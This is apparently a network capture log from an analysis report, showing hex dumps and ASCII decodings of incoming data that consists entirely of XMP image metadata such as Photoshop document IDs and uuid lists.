3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 41 39 37 34 41 35 42 41 45 31 38 43 42 41 37 43 36 46 45 35 43 43 32 33 32 
41 43 41 39 39 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 41 39 38 41 34 30 41 44 45 30 43 45 35 39 3
8 46 34 33 38 45 39 31 35 46 45 30 30 31 39 46 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 41 39 43 42 
44 38 30 38 45 45 30 46 45 41 30 44 43 45 34 30 39 39 32 32 37 32 45 46 33 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 45 41 39 46 44 30 41 41 33 46 45 42 45 39 45 31 36 39 43 46 36 44 38 46 41 35 44 43 42 36 45 32 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 41 41 31 38 30 36 
Data Ascii: 9178CB40685D13BCE620B2876F130F</rdf:li> <rdf:li>EA974A5BAE18CBA7C6FE5CC232ACA990</rdf:li> 
<rdf:li>EA98A40ADE0CE598F438E915FE0019F3</rdf:li> <rdf:li>EA9CBD808EE0FEA0DCE40992272EF305</rdf:li> 
<rdf:li>EA9FD0AA3FEBE9E169CF6D8FA5DCB6E2</rdf:li> <rdf:li>EAA1806

2022-08-11 03:42:56 UTC 9529 IN Data Raw: 34 44 35 44 30 36 36 39 45 31 41 45 38 42 43 33 39 42 31 41 44 38 41 43 43 33 44 30 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 46 30 32 41 31 34 34 32 34 42 31 34 43 46 44 34 31 32 31 30 46 39 43 32 35 33 38 43 46 
35 46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 30 35 30 35 34 45 38 34 37 33 32 34 32 46 43 43 38 
46 41 36 39 37 33 39 30 42 36 33 43 35 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 30 35 35 33 31 43 4
1 45 34 38 35 46 32 42 36 37 36 44 31 42 30 41 44 33 42 46 37 33 39 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 46 30 35 35 43 38 44 31 31 37 30 36 33 44 43 43 42 46 41 44 39 33 46 30 41 31 45 38 41 37 43 42 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 30 36 42 31 42 32 44 46 
Data Ascii: 4D5D0669E1AE8BC39B1AD8ACC3D0</rdf:li> <rdf:li>F02A14424B14CFD41210F9C2538CF5F2</rdf:li> 
<rdf:li>F05054E8473242FCC8FA697390B63C5F</rdf:li> <rdf:li>F05531CAE485F2B676D1B0AD3BF7395D</rdf:li> 
<rdf:li>F055C8D117063DCCBFAD93F0A1E8A7CB</rdf:li> <rdf:li>F06B1B2DF

2022-08-11 03:42:56 UTC 9545 IN Data Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 44 30 35 44 33 37 39 33 39 34 30 39 32 32 44 35 37 39 43 42 36 34 
43 37 41 39 42 46 46 39 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 44 31 39 31 41 32 46 42 44 45 37 
30 46 30 35 33 41 36 38 41 45 44 31 31 34 33 35 45 34 44 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 4
4 33 46 42 42 41 32 31 31 38 36 41 43 38 42 35 42 42 35 41 46 32 34 39 46 36 30 37 41 38 43 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 46 44 34 38 44 42 44 31 36 33 42 45 39 34 46 45 41 34 32 38 39 43 33 42 39 38 42 34 30 
41 45 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 44 36 36 44 43 31 33 46 38 36 30 31 39 43 39 45 30 
39 36 35 38 32 44 45 42 37 34 33 35 32 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
Data Ascii: li> <rdf:li>FD05D3793940922D579CB64C7A9BFF96</rdf:li> <rdf:li>FD191A2FBDE70F053A68AED114
35E4DB</rdf:li> <rdf:li>FD3FBBA21186AC8B5BB5AF249F607A8C</rdf:li> <rdf:li>FD48DBD163BE94FEA4289C3B98
B40AE7</rdf:li> <rdf:li>FD66DC13F86019C9E096582DEB74352E</rdf:li> <
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2022-08-11 03:42:56 UTC 9549 IN Data Raw: 34 32 64 38 2d 31 31 37 38 2d 39 30 37 65 2d 38 35 36 30 37 63 33 36 61 63 36 61 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 30 39 31 66 65 30 30 2d 
31 61 64 33 2d 31 31 65 35 2d 62 32 33 66 2d 61 66 34 32 32 34 65 36 32 64 31 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 30 39 33 35 39 61 64 2d 66 66 36 
38 2d 31 31 37 38 2d 38 66 36 66 2d 64 61 36 35 38 39 39 32 63 35 39 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 30 66 62 61 31 64 61 2d 32 61 38 34 2d 31 
31 65 36 2d 62 33 66 30 2d 63 35 33 63 32 38 35 63 33 62 62 30 
Data Ascii: 42d8-1178-907e-85607c36ac6a</rdf:li> <rdf:li>adobe:docid:photoshop:0091fe00-1ad3-11e5-b23f-af4224e
62d18</rdf:li> <rdf:li>adobe:docid:photoshop:009359ad-ff68-1178-8f6f-da658992c59f</rdf:li> <rdf:li>adobe:docid
:photoshop:00fba1da-2a84-11e6-b3f0-c53c285c3bb0

2022-08-11 03:42:56 UTC 9565 IN Data Raw: 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 36 61 34 64 34 39 36 2d 30 
32 38 61 2d 31 31 65 30 2d 61 34 37 36 2d 63 64 39 65 66 63 65 61 38 63 66 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 36 62 34 31 36 33 66 2d 31 36 32 37 
2d 31 31 64 65 2d 39 37 33 31 2d 63 31 34 63 34 63 35 37 65 31 34 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 36 62 65 36 31 39 61 2d 32 36 62 37 2d 31 31 
37 38 2d 61 37 33 36 2d 39 66 35 31 37 33 63 37 32 36 32 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 6
4 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 
Data Ascii: :li>adobe:docid:photoshop:36a4d496-028a-11e0-a476-cd9efcea8cfd</rdf:li> <rdf:li>adobe:docid:photos
hop:36b4163f-1627-11de-9731-c14c4c57e145</rdf:li> <rdf:li>adobe:docid:photoshop:36be619a-26b7-1178-a736-9f5173
c7262d</rdf:li> <rdf:li>adobe:docid:photoshop:3

2022-08-11 03:42:56 UTC 9581 IN Data Raw: 2d 61 30 62 66 2d 63 34 65 65 33 38 38 35 64 61 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 34 31 39 64 63 63 34 2d 34 34 39 34 2d 31 31 64 64 
2d 62 64 38 39 2d 39 66 35 65 36 38 65 65 39 38 35 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 
62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 34 34 31 64 65 35 30 2d 30 32 34 65 2d 31 31 64 39 2d 61 62 
33 32 2d 66 32 33 37 30 64 31 38 35 36 63 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 
64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 34 35 30 34 39 39 36 2d 35 61 65 35 2d 31 31 64 65 2d 39 34 32 30 2d 
38 62 39 39 30 38 63 35 35 65 62 31 3c 2f 72 64 66 3a 6c 69 3e 
Data Ascii: -a0bf-c4ee3885da62</rdf:li> <rdf:li>adobe:docid:photoshop:6419dcc4-4494-11dd-bd89-9f5e68ee985f</rdf:li> 
<rdf:li>adobe:docid:photoshop:6441de50-024e-11d9-ab32-f2370d1856cd</rdf:li> <rdf:li>adobe:docid:photosho
p:64504996-5ae5-11de-9420-8b9908c55eb1</rdf:li>

2022-08-11 03:42:56 UTC 9588 IN Data Raw: 70 68 6f 74 6f 73 68 6f 70 3a 37 38 64 33 39 33 39 39 2d 37 64 35 37 2d 31 31 65 31 2d 39 61 35 30 2d 62 31 
34 31 36 62 37 39 36 65 63 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 
70 68 6f 74 6f 73 68 6f 70 3a 37 38 64 33 39 33 39 62 2d 37 64 35 37 2d 31 31 65 31 2d 39 61 35 30 2d 62 31 34 31 36 
62 37 39 36 65 63 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 
74 6f 73 68 6f 70 3a 37 38 64 35 38 66 34 63 2d 32 39 66 32 2d 31 31 65 37 2d 62 62 33 63 2d 38 65 63 38 33 62 38 34 
31 38 62 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 
68 6f 70 3a 37 38 65 34 62 63 63 33 2d 65 64 33 38 2d 31 31 64 
Data Ascii: photoshop:78d39399-7d57-11e1-9a50-b1416b796ec0</rdf:li> <rdf:li>adobe:docid:photoshop:78d3939b-7d57-
11e1-9a50-b1416b796ec0</rdf:li> <rdf:li>adobe:docid:photoshop:78d58f4c-29f2-11e7-bb3c-8ec83b8418b8</rdf:li> 
<rdf:li>adobe:docid:photoshop:78e4bcc3-ed38-11d

2022-08-11 03:42:56 UTC 9604 IN Data Raw: 30 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 
73 68 6f 70 3a 61 62 61 32 37 62 63 64 2d 31 34 31 33 2d 31 31 37 38 2d 62 34 61 30 2d 66 32 30 30 32 61 36 37 38 61 
36 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 
70 3a 61 62 62 35 36 34 30 63 2d 62 38 34 63 2d 31 31 65 37 2d 39 32 63 33 2d 65 61 33 37 31 35 33 63 35 38 64 31 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 
62 62 64 35 38 35 32 2d 63 62 66 33 2d 31 31 65 37 2d 61 61 33 39 2d 62 34 37 38 64 32 62 64 39 34 39 65 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 
Data Ascii: 0c</rdf:li> <rdf:li>adobe:docid:photoshop:aba27bcd-1413-1178-b4a0-f2002a678a60</rdf:li> <rdf:li>ad
obe:docid:photoshop:abb5640c-b84c-11e7-92c3-ea37153c58d1</rdf:li> <rdf:li>adobe:docid:photoshop:abbd5852-cbf3-
11e7-aa39-b478d2bd949e</rdf:li> <rdf:li>adobe:d

2022-08-11 03:42:56 UTC 9620 IN Data Raw: 3a 65 31 35 31 62 61 65 38 2d 39 66 63 31 2d 31 31 64 61 2d 62 30 62 34 2d 38 34 66 38 31 62 33 62 39 32 
61 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 
70 3a 65 31 36 30 66 31 63 33 2d 32 36 34 38 2d 31 31 64 63 2d 61 35 32 37 2d 63 36 64 63 32 30 32 31 34 61 65 37 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 
31 38 63 30 66 35 61 2d 39 36 37 38 2d 31 31 37 61 2d 62 62 61 33 2d 65 37 61 64 63 38 61 63 35 63 61 66 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 31 63 35 
32 38 37 30 2d 34 61 39 65 2d 31 31 37 38 2d 61 32 34 63 2d 66 31 
Data Ascii: :e151bae8-9fc1-11da-b0b4-84f81b3b92aa</rdf:li> <rdf:li>adobe:docid:photoshop:e160f1c3-2648-11dc-a527-
c6dc20214ae7</rdf:li> <rdf:li>adobe:docid:photoshop:e18c0f5a-9678-117a-bba3-e7adc8ac5caf</rdf:li> <rdf:li>a
dobe:docid:photoshop:e1c52870-4a9e-1178-a24c-f1

2022-08-11 03:42:56 UTC 9628 IN Data Raw: 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 37 38 66 34 64 39 
63 2d 66 66 62 62 2d 31 31 64 36 2d 62 30 38 61 2d 62 32 38 36 31 65 30 63 37 62 61 61 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 37 61 36 34 39 33 61 2d 31 
61 64 32 2d 31 31 65 35 2d 62 32 33 66 2d 61 66 34 32 32 34 65 36 32 64 31 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 37 64 39 33 30 64 64 2d 34 35 62 63 
2d 31 31 65 36 2d 62 65 62 35 2d 64 65 39 61 62 62 62 65 32 64 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 6
9 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 
Data Ascii: rdf:li>adobe:docid:photoshop:f78f4d9c-ffbb-11d6-b08a-b2861e0c7baa</rdf:li> <rdf:li>adobe:docid:pho
toshop:f7a6493a-1ad2-11e5-b23f-af4224e62d18</rdf:li> <rdf:li>adobe:docid:photoshop:f7d930dd-45bc-11e6-beb5-de9
abbbe2d87</rdf:li> <rdf:li>adobe:docid:photosho

2022-08-11 03:42:56 UTC 9644 IN Data Raw: 46 41 30 36 36 30 30 39 39 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 32 45 34 
34 33 31 41 41 38 43 41 45 31 31 44 45 41 37 34 30 46 44 33 38 39 38 34 44 32 44 34 38 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 32 46 37 36 35 39 41 42 30 45 41 43 44 44 31 31 39 44 36 37 39 44 39 31 32 43 
36 46 30 38 41 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 30 30 34 30 31 38 41 44 41 4
1 37 44 46 31 31 42 45 45 41 45 30 30 35 34 43 34 33 41 32 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
75 75 69 64 3a 33 30 33 32 33 38 42 30 38 46 34 42 44 45 31 31 41 31 41 35 41 34 43 33 31 36 31 32 30 33 36 36 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 30 
Data Ascii: FA0660099B</rdf:li> <rdf:li>uuid:2E4431AA8CAE11DEA740FD38984D2D48</rdf:li> <rdf:li>uuid:2F7659AB0E
ACDD119D679D912C6F08A7</rdf:li> <rdf:li>uuid:3004018ADAA7DF11BEEAE0054C43A27F</rdf:li> <rdf:li>uuid:
303238B08F4BDE11A1A5A4C316120366</rdf:li> <rdf:li>uuid:30
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2022-08-11 03:42:56 UTC 9648 IN Data Raw: 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 44 37 30 38 37 42 42 30 33 37 38 45 30 
31 31 39 38 36 33 41 34 33 45 34 31 45 45 38 41 31 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 
64 3a 33 44 44 39 32 41 38 33 35 46 44 39 44 45 31 31 38 43 31 33 41 42 38 36 36 44 42 46 33 42 46 42 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 44 45 33 39 32 37 31 42 43 44 42 45 30 31 31 41 39 42 32 38 
45 44 39 44 46 43 41 41 46 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 44 46 37 35 
43 46 42 44 39 46 45 44 42 31 31 41 43 45 35 41 36 32 42 32 45 42 33 39 35 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 75 75 69 64 3a 33 45 30 37 35 33 39 36 43 41 42 32 45 30 
Data Ascii: rdf:li> <rdf:li>uuid:3D7087BB0378E0119863A43E41EE8A1B</rdf:li> <rdf:li>uuid:3DD92A835FD9
DE118C13AB866DBF3BFB</rdf:li> <rdf:li>uuid:3DE39271BCDBE011A9B28ED9DFCAAF13</rdf:li> <rdf:li>uuid:3D
F75CFBD9FEDB11ACE5A62B2EB39513</rdf:li> <rdf:li>uuid:3E075396CAB2E0

2022-08-11 03:42:56 UTC 9664 IN Data Raw: 43 44 45 31 31 41 44 36 33 46 36 41 46 32 45 41 35 33 39 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 75 75 69 64 3a 37 30 46 46 31 45 42 45 37 42 33 33 44 43 31 31 39 31 35 38 38 32 46 41 42 43 41 45 35 43 42 
30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 31 30 44 31 39 46 45 46 34 37 42 45 30 31 
31 41 33 45 43 42 31 46 30 42 45 33 46 45 30 39 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3
a 37 31 30 46 30 36 42 45 36 41 34 44 45 30 31 31 38 35 42 37 45 44 44 35 46 46 43 30 42 31 39 38 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 31 36 32 38 32 36 35 32 35 33 31 45 30 31 31 39 37 36 38 44 45 32 
46 35 32 31 31 32 46 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
Data Ascii: CDE11AD63F6AF2EA539A9</rdf:li> <rdf:li>uuid:70FF1EBE7B33DC11915882FABCAE5CB0</rdf:li> <r
df:li>uuid:710D19FEF47BE011A3ECB1F0BE3FE099</rdf:li> <rdf:li>uuid:710F06BE6A4DE01185B7EDD5FFC0B198</
rdf:li> <rdf:li>uuid:716282652531E0119768DE2F52112F6B</rdf:li> <rdf

2022-08-11 03:42:56 UTC 9680 IN Data Raw: 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 41 31 39 30 34 46 44 32 39 32 37 46 31 31 45 30 38 31 38 
46 46 41 44 32 32 36 45 33 30 41 42 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 41 31 41 
32 46 45 45 35 43 39 36 38 31 31 44 46 38 35 33 43 44 42 44 30 36 36 37 34 30 39 39 38 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 41 31 42 36 39 45 34 42 38 43 37 38 45 30 31 31 39 44 44 42 45 46 37 33 36 35 
42 36 35 45 39 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 41 31 44 41 42 35 30 44 35 42 
45 35 44 45 31 31 39 35 30 43 44 45 33 31 42 35 34 43 34 39 44 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 75 75 69 64 3a 41 32 31 46 30 42 41 32 32 43 41 42 44 44 31 31 42 41 32 
Data Ascii: i> <rdf:li>uuid:A1904FD2927F11E0818FFAD226E30AB9</rdf:li> <rdf:li>uuid:A1A2FEE5C96811DF8
53CDBD066740998</rdf:li> <rdf:li>uuid:A1B69E4B8C78E0119DDBEF7365B65E94</rdf:li> <rdf:li>uuid:A1DAB50
D5BE5DE11950CDE31B54C49DC</rdf:li> <rdf:li>uuid:A21F0BA22CABDD11BA2

2022-08-11 03:42:56 UTC 9688 IN Data Raw: 3a 6c 69 3e 75 75 69 64 3a 42 43 37 34 36 31 38 36 36 39 44 31 31 31 44 43 42 32 41 32 41 43 45 34 44 36 
32 45 39 42 31 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 43 38 45 45 38 32 37 35 37 
44 35 44 45 31 31 38 38 41 41 38 43 42 31 33 32 33 46 32 33 34 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3
e 75 75 69 64 3a 42 43 38 46 37 44 31 37 44 42 45 46 31 31 44 43 38 31 44 37 46 43 35 37 46 44 37 32 32 30 31 36 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 43 44 33 38 41 43 32 33 35 30 43 44 46 31 31 38 
44 41 43 39 41 32 43 39 44 35 38 44 41 39 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 
44 34 39 36 32 39 42 37 36 45 39 45 30 31 31 39 42 31 35 44 31 36 32 37 32 
Data Ascii: :li>uuid:BC74618669D111DCB2A2ACE4D62E9B10</rdf:li> <rdf:li>uuid:BC8EE82757D5DE1188AA8CB1
323F2345</rdf:li> <rdf:li>uuid:BC8F7D17DBEF11DC81D7FC57FD722016</rdf:li> <rdf:li>uuid:BCD38AC2350CDF
118DAC9A2C9D58DA96</rdf:li> <rdf:li>uuid:BD49629B76E9E0119B15D16272

2022-08-11 03:42:56 UTC 9704 IN Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 42 39 44 46 38 42 46 33 35 44 46 44 45 31 
31 41 32 39 45 45 34 37 35 45 42 37 42 37 32 32 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 
3a 46 42 43 39 37 36 31 42 30 33 36 33 44 43 31 31 39 46 30 46 43 43 36 30 37 32 39 32 34 30 31 37 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 42 44 38 36 33 35 35 44 30 36 36 44 45 31 31 38 36 43 39 41 41 
35 43 30 39 36 43 43 30 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 43 30 39 35 37 
38 34 45 46 44 32 44 42 31 31 39 35 31 38 41 46 44 30 38 39 37 39 39 38 37 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 75 75 69 64 3a 46 43 33 41 46 30 36 42 31 46 30 45 44 44 31 
Data Ascii: df:li> <rdf:li>uuid:FB9DF8BF35DFDE11A29EE475EB7B7228</rdf:li> <rdf:li>uuid:FBC9761B0363D
C119F0FCC6072924017</rdf:li> <rdf:li>uuid:FBD86355D066DE1186C9AA5C096CC0D9</rdf:li> <rdf:li>uuid:FC0
95784EFD2DB119518AFD08979987A</rdf:li> <rdf:li>uuid:FC3AF06B1F0EDD1

2022-08-11 03:42:56 UTC 9720 IN Data Raw: 37 34 30 37 32 30 36 38 31 31 38 43 31 34 42 38 37 30 37 44 35 37 30 41 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 43 31 34 43 43 33 
37 36 32 34 44 32 31 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 38 30 
31 31 37 34 30 37 32 30 36 38 31 31 38 43 31 34 43 46 32 43 34 35 30 33 33 45 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 7
2 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 43 31 34 44 30 41 32 
44 30 46 33 35 33 46 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 
31 37 34 30 37 32 30 36 38 31 31 38 43 31 34 46 39 35 44 33 43 39 34 44 
Data Ascii: 74072068118C14B8707D570A5C</rdf:li> <rdf:li>xmp.did:02801174072068118C14CC37624D21CA</rdf:li> 
<rdf:li>xmp.did:02801174072068118C14CF2C45033E0E</rdf:li> <rdf:li>xmp.did:02801174072068118C14D0A2D0F353
F6</rdf:li> <rdf:li>xmp.did:02801174072068118C14F95D3C94D

2022-08-11 03:42:56 UTC 9728 IN Data Raw: 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 38 38 30 46 36 37 41 
32 36 30 32 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 31 37 34 
30 37 32 30 36 38 31 31 38 41 36 44 42 42 34 46 32 43 42 43 34 35 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6
c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 43 32 35 39 41 32 31 43 
32 42 44 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 31 37 34 30 
37 32 30 36 38 31 31 38 41 36 44 43 41 39 45 46 42 39 43 35 36 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 
Data Ascii: xmp.did:04801174072068118A6D880F67A2602E</rdf:li> <rdf:li>xmp.did:04801174072068118A6DBB
4F2CBC450E</rdf:li> <rdf:li>xmp.did:04801174072068118A6DC259A21C2BDB</rdf:li> <rdf:li>xmp.did:048011
74072068118A6DCA9EFB9C560E</rdf:li> <rdf:li>xmp.did:048011740720681

2022-08-11 03:42:56 UTC 9744 IN Data Raw: 42 39 39 35 30 45 36 44 39 32 32 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
64 3a 30 39 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 43 31 34 44 34 39 42 37 34 37 37 33 35 31 38 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 39 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 44 
42 42 45 32 42 39 41 30 41 35 39 33 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3
a 30 39 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 44 42 42 45 35 45 30 43 33 32 36 36 37 45 31 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 39 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 44 42 42 
46 41 41 34 33 39 43 35 38 43 39 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
Data Ascii: B9950E6D9222</rdf:li> <rdf:li>xmp.did:09801174072068118C14D49B74773518</rdf:li> <rdf:li>xmp.did:09
801174072068118DBBE2B9A0A59392</rdf:li> <rdf:li>xmp.did:09801174072068118DBBE5E0C32667E1</rdf:li> <r
df:li>xmp.did:09801174072068118DBBFAA439C58C9E</rdf:li> <
